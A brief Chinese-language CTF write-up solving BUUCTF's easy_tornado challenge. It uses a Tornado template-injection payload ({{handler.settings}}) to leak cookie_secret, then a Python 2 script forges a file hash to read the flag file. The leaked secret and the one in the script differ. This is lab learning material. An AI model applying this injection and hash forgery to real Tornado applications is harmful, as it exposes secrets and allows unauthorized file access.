BUUCTF-[护网杯 2018]easy_tornado

这道题的重点在于rander。

原理:
tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{ {}}进行传递变量和执行简单的表达式。

render是一个类似模板的东西,可以使用不同的参数来访问网页
在tornado模板中,存在一些可以访问的快速对象。

msg={ {handler.settings}}

{
     'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '8d9f64e2-a7ac-466e-9db3-05eacecb9aa4'} 

得到cookie_secret后,算出md5(cookie_secret+md5(filename))就行了

import hashlib

cookie_secret='e63bc19c-5846-4676-83a0-1540c4ccd817'
filename='/fllllllllllllag'

def md5(a):
    anser=hashlib.md5()
    anser.update(a)
    return anser.hexdigest()

a=md5(cookie_secret+md5(filename))
print a
#85fe34cb71b2ee2a19be5e0e6998f65a

payload:http://111.198.29.45:44672/file?filename=/fllllllllllllag&filehash=85fe34cb71b2ee2a19be5e0e6998f65a

你可能感兴趣的:(BUUCTF)